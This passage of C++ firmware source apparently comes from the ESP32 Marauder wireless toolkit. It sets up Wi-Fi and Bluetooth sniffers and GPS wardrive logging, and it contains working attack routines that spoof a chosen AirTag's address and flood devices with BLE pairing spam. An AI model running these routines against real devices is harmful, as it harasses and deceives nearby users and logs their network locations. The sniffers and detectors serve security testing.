Serial.printf("Error: Failed to set MAC address. Code: %d\n", err); } } void WiFiScan::executeSpoofAirtag() { #ifdef HAS_BT for (int i = 0; i < airtags->size(); i++) { if (airtags->get(i).selected) { uint8_t macAddr[6]; convertMacStringToUint8(airtags->get(i).mac, macAddr); macAddr[5] -= 2; // Do this because ESP32 BT addr is Base MAC + 2 this->setBaseMacAddress(macAddr); NimBLEDevice::init(""); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising(); //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData(); NimBLEAdvertisementData advertisementData = this->GetUniversalAdvertisementData(Airtag); pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(10); pAdvertising->stop(); NimBLEDevice::deinit(); break; } } #endif } void WiFiScan::executeSwiftpairSpam(EBLEPayloadType type) { #ifdef HAS_BT uint8_t macAddr[6]; generateRandomMac(macAddr); //esp_base_mac_addr_set(macAddr); this->setBaseMacAddress(macAddr); NimBLEDevice::init(""); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising(); //NimBLEAdvertisementData advertisementData = getSwiftAdvertisementData(); NimBLEAdvertisementData advertisementData = this->GetUniversalAdvertisementData(type); pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(10); pAdvertising->stop(); NimBLEDevice::deinit(); #endif } void WiFiScan::executeWarDrive() { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { bool do_save; String display_string; while (WiFi.scanComplete() == WIFI_SCAN_RUNNING) { Serial.println("Scan running..."); delay(500); } #ifndef HAS_DUAL_BAND int n = WiFi.scanNetworks(false, true, false, 110, this->set_channel); #else int n = WiFi.scanNetworks(false, true, false, 110); #endif if (n > 0) { for (int i = 0; i < n; i++) { display_string = ""; do_save = false; uint8_t *this_bssid_raw = WiFi.BSSID(i); char this_bssid[18] = {0}; sprintf(this_bssid, "%02X:%02X:%02X:%02X:%02X:%02X", this_bssid_raw[0], this_bssid_raw[1], this_bssid_raw[2], this_bssid_raw[3], this_bssid_raw[4], this_bssid_raw[5]); if (this->seen_mac(this_bssid_raw)) continue; this->save_mac(this_bssid_raw); String ssid = WiFi.SSID(i); ssid.replace(",","_"); if (ssid != "") { display_string.concat(ssid); } else { display_string.concat(this_bssid); } if (gps_obj.getFixStatus()) { do_save = true; display_string.concat(" | Lt: " + gps_obj.getLat()); display_string.concat(" | Ln: " + gps_obj.getLon()); } else { display_string.concat(" | GPS: No Fix"); } int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); #endif String wardrive_line = WiFi.BSSIDstr(i) + "," + ssid + "," + this->security_int_to_string(WiFi.encryptionType(i)) + "," + gps_obj.getDatetime() + "," + (String)WiFi.channel(i) + "," + (String)WiFi.RSSI(i) + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI\n"; Serial.print((String)this->mac_history_cursor + " | " + wardrive_line); if (do_save) { buffer_obj.append(wardrive_line); } } } this->channelHop(); // Free up that memory, you sexy devil WiFi.scanDelete(); } #endif } // Function to start running a beacon scan void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color) { if (scan_mode == WIFI_SCAN_AP) startPcap("beacon"); else if (scan_mode == WIFI_SCAN_WAR_DRIVE) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { startLog("wardrive"); String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"; buffer_obj.append(header_line); } else { return; } #else return; #endif } #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == WIFI_SCAN_AP) display_obj.tft.drawCentreString(text_table4[38],TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_WAR_DRIVE) { this->clearMacHistory(); display_obj.tft.drawCentreString("Wardrive", TFT_WIDTH / 2, 16, 2); } #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif if (scan_mode != WIFI_SCAN_WAR_DRIVE) { esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); } else { this->startWardriverWiFi(); } this->wifi_initialized = true; initTime = millis(); } void WiFiScan::startWardriverWiFi() { WiFi.mode(WIFI_STA); WiFi.disconnect(); } void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color) { startPcap("station"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table1[59],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_netif_init(); esp_event_loop_create_default(); //esp_wifi_init(&cfg); esp_err_t err = esp_wifi_init(&cfg2); if (err != ESP_OK) { Serial.printf("Custom config failed (0x%04X), falling back to default...\n", err); wifi_init_config_t default_cfg = WIFI_INIT_CONFIG_DEFAULT(); err = esp_wifi_init(&default_cfg); if (err != ESP_OK) { Serial.printf("Default config also failed (0x%04X)\n", err); } else { Serial.println("Wi-Fi init succeeded with default config."); } } else { Serial.println("Wi-Fi init succeeded with custom config."); } #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color) { if (scan_mode != WIFI_SCAN_SIG_STREN) startPcap("raw"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode != WIFI_SCAN_SIG_STREN) { display_obj.tft.setTextColor(TFT_BLACK, color); display_obj.tft.drawCentreString(text_table1[58],TFT_WIDTH / 2,16,2); } else { display_obj.tft.setTextColor(TFT_BLACK, color); display_obj.tft.drawCentreString("Signal Monitor", TFT_WIDTH / 2, 16, 2); } #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); //display_obj.setupScrollArea((STATUS_BAR_WIDTH * 2) + CHAR_WIDTH - 1, BOT_FIXED_AREA); #ifdef HAS_ILI9341 if ((scan_mode == WIFI_SCAN_RAW_CAPTURE) || (scan_mode == WIFI_SCAN_SIG_STREN)) { display_obj.tft.setFreeFont(NULL); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); if (scan_mode != WIFI_SCAN_SIG_STREN) display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); else display_obj.setupScrollArea((STATUS_BAR_WIDTH * 2) + CHAR_WIDTH - 1, BOT_FIXED_AREA); display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); } #endif #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color) { startPcap("deauth"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[39],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_RED, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_ps(WIFI_PS_NONE); esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } // Function for running probe request scan void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color) { probe_req_ssids->clear(); if (scan_mode == WIFI_SCAN_PROBE) startPcap("probe"); else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { startLog("station_wardrive"); String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"; buffer_obj.append(header_line); } else { return; } #else return; #endif } #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[40],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } void WiFiScan::RunSourApple(uint8_t scan_mode, uint16_t color) { #ifdef HAS_BT /*NimBLEDevice::init(""); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising();*/ #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString("Sour Apple",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); #endif #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #endif } void WiFiScan::RunSwiftpairSpam(uint8_t scan_mode, uint16_t color) { #ifdef HAS_BT #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == BT_ATTACK_SWIFTPAIR_SPAM) display_obj.tft.drawCentreString("Swiftpair Spam",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_ATTACK_SPAM_ALL) display_obj.tft.drawCentreString("BLE Spam All",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_ATTACK_SAMSUNG_SPAM) display_obj.tft.drawCentreString("BLE Spam Samsung",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_ATTACK_GOOGLE_SPAM) display_obj.tft.drawCentreString("BLE Spam Google",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_ATTACK_FLIPPER_SPAM) display_obj.tft.drawCentreString("BLE Spam Flipper", TFT_WIDTH / 2, 16, 2); else if (scan_mode == BT_SPOOF_AIRTAG) display_obj.tft.drawCentreString("BLE Spoof Airtag", TFT_WIDTH / 2, 16, 2); #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); #endif #ifdef HAS_FLIPPER_LED flipper_led.attackLED(); #elif defined(XIAO_ESP32_S3) xiao_led.attackLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.attackLED(); #else led_obj.setMode(MODE_ATTACK); #endif #endif } // Function to start running any BLE scan void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color) { #ifdef HAS_BT #ifdef HAS_SCREEN display_obj.print_delay_1 = 50; display_obj.print_delay_2 = 20; #endif if (scan_mode != BT_SCAN_WAR_DRIVE_CONT) { NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE); NimBLEDevice::setScanDuplicateCacheSize(200); } else if ((scan_mode == BT_SCAN_WAR_DRIVE_CONT) || (scan_mode == BT_SCAN_ANALYZER)) { NimBLEDevice::setScanDuplicateCacheSize(0); } NimBLEDevice::init(""); pBLEScan = NimBLEDevice::getScan(); //create new scan if ((scan_mode == BT_SCAN_ALL) || (scan_mode == BT_SCAN_AIRTAG) || (scan_mode == BT_SCAN_FLIPPER)) { #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == BT_SCAN_ALL) display_obj.tft.drawCentreString(text_table4[41],TFT_WIDTH / 2,16,2); else if (scan_mode == BT_SCAN_AIRTAG) display_obj.tft.drawCentreString("Airtag Sniff",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_SCAN_FLIPPER) display_obj.tft.drawCentreString("Flipper Sniff", TFT_WIDTH / 2, 16, 2); #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif #endif display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif if (scan_mode == BT_SCAN_ALL) pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false); else if (scan_mode == BT_SCAN_AIRTAG) { this->clearAirtags(); pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), true); } else if (scan_mode == BT_SCAN_FLIPPER) { this->clearFlippers(); pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), true); } } else if ((scan_mode == BT_SCAN_WAR_DRIVE) || (scan_mode == BT_SCAN_WAR_DRIVE_CONT)) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { if (scan_mode == BT_SCAN_WAR_DRIVE) { startLog("bt_wardrive"); } else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT) { startLog("bt_wardrive_cont"); } String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"; buffer_obj.append(header_line); } else { return; } #else return; #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == BT_SCAN_WAR_DRIVE) display_obj.tft.drawCentreString("BT Wardrive",TFT_WIDTH / 2,16,2); else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT) display_obj.tft.drawCentreString("BT Wardrive Continuous",TFT_WIDTH / 2,16,2); #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif #endif display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif if (scan_mode != BT_SCAN_WAR_DRIVE_CONT) pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false); else pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), true); } else if (scan_mode == BT_SCAN_SKIMMERS) { #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 160; display_obj.tteBar = true; display_obj.tft.fillScreen(TFT_DARKGREY); display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[42],TFT_WIDTH / 2,16,2); display_obj.twoPartDisplay(text_table4[43]); display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false); } else if (scan_mode == BT_SCAN_ANALYZER) { #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString("Bluetooth Analyzer", TFT_WIDTH / 2, 16, 2); #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif #endif display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false); } pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster pBLEScan->setInterval(100); pBLEScan->setWindow(99); // less or equal setInterval value pBLEScan->setMaxResults(0); if ((scan_mode == BT_SCAN_WAR_DRIVE_CONT) || (scan_mode == BT_SCAN_ANALYZER)) pBLEScan->setDuplicateFilter(false); pBLEScan->start(0, scanCompleteCB, false); Serial.println("Started BLE Scan"); this->ble_initialized = true; #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif initTime = millis(); #endif } // Function that is called when BLE scan is completed #ifdef HAS_BT void WiFiScan::scanCompleteCB(BLEScanResults scanResults) { printf("Scan complete!\n"); printf("Found %d devices\n", scanResults.getCount()); scanResults.dump(); } // scanCompleteCB #endif // Function to extract MAC addr from a packet at given offset void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) { sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]); } void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String src = ""; String essid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if ((snifferPacket->payload[0] == 0x80) && (buf == 0)) { char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); src.concat(addr); if (src == "de:ad:be:ef:de:ad") { delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); Serial.print(addr); //display_string.concat(addr); display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel); Serial.print(" ESSID: "); display_string.concat(" -> "); // Just grab the first 255 bytes of the pwnagotchi beacon // because that is where the name is //for (int i = 0; i < snifferPacket->payload[37]; i++) for (int i = 0; i < len - 37; i++) { Serial.print((char)snifferPacket->payload[i + 38]); //display_string.concat((char)snifferPacket->payload[i + 38]); if (isAscii(snifferPacket->payload[i + 38])) essid.concat((char)snifferPacket->payload[i + 38]); else Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]); } //essid.concat("\": \"\"}}"); //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid); // Load json //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5 DynamicJsonDocument json(1024); // ArduinoJson v6 //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5 // ArduinoJson v6 if (deserializeJson(json, essid)) { Serial.println("\nCould not parse Pwnagotchi json"); display_string.concat(essid); } else { Serial.println("\nSuccessfully parsed json"); String json_output; //json.printTo(json_output); // ArduinoJson v5 serializeJson(json, json_output); // ArduinoJson v6 Serial.println(json_output); display_string.concat(json["name"].as() + " pwnd: " + json["pwnd_tot"].as()); } int temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } } } } int WiFiScan::checkMatchAP(char addr[]) { for (int i = 0; i < access_points->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if ((uint8_t)strtol(&addr[x * 3], NULL, 16) != access_points->get(i).bssid[x]) { mac_match = false; break; } } if (mac_match) { AccessPoint ap = access_points->get(i); ap.packets += 1; access_points->set(i, ap); return i; } } return -1; } String WiFiScan::extractManufacturer(const uint8_t* payload) { const int fixedHeaderSize = 36; // 802.11 mgmt header (24) + fixed fields (12) int pos = fixedHeaderSize; while (pos < 512) { // safety bounds uint8_t tagNumber = payload[pos]; uint8_t tagLength = payload[pos + 1]; // Check for vendor-specific IE (Tag number 221) if (tagNumber == 0xdd && tagLength >= 4) { const uint8_t* oui = &payload[pos + 2]; // Check if OUI is 00:50:F2 (Microsoft WPS) if (oui[0] == 0x00 && oui[1] == 0x50 && oui[2] == 0xF2) { int wpsPos = pos + 6; // Skip: tag + len + OUI (2 + 1 + 3) int end = pos + 2 + tagLength; // Iterate through WPS sub-TLVs while (wpsPos + 4 <= end) { uint16_t type = (payload[wpsPos] << 8) | payload[wpsPos + 1]; uint16_t len = (payload[wpsPos + 2] << 8) | payload[wpsPos + 3]; if (type == 0x1021) { // Manufacturer char buffer[65]; // reasonable max int copyLen = len > 64 ? 64 : len; memcpy(buffer, &payload[wpsPos + 4], copyLen); buffer[copyLen] = '\0'; return String(buffer); } wpsPos += 4 + len; } } } pos += 2 + tagLength; } return String(""); // not found } void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; bool mem_check = wifi_scan_obj.checkMem(); String display_string = ""; String essid = ""; String bssid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; //int fctl = ntohs(frameControl->fctl); //const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; //const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif bool wps = wifi_scan_obj.beaconHasWPS(snifferPacket->payload, len); // We got a probe resp. Check for WPS configs if (snifferPacket->payload[0] == 0x50) { String man = wifi_scan_obj.extractManufacturer(snifferPacket->payload); if (wps) { char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); int index = wifi_scan_obj.checkMatchAP(addr); if ((index > 0) && (!access_points->get(index).wps)) { AccessPoint new_ap = access_points->get(index); new_ap.wps = true; new_ap.man = man; access_points->set(index, new_ap); Serial.println((String)access_points->get(index).essid + ": RXd WPS Configs"); #ifdef HAS_SCREEN display_string = RED_KEY; display_string.concat((String)access_points->get(index).essid + ": RXd WPS Configs"); int temp_len = display_string.length(); for (int i = 0; i < 50 - temp_len; i++) display_string.concat(" "); display_obj.display_buffer->add(display_string); #endif } } } // We got an AP. Check if in list and add if not if ((snifferPacket->payload[0] == 0x80) && (buf == 0)) { // Get security info uint8_t security_type = wifi_scan_obj.getSecurityType(snifferPacket->payload, len); #ifdef HAS_SCREEN if (!wps) display_string = GREEN_KEY; else display_string = RED_KEY; #endif char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); int in_list = wifi_scan_obj.checkMatchAP(addr); if (in_list < 0) 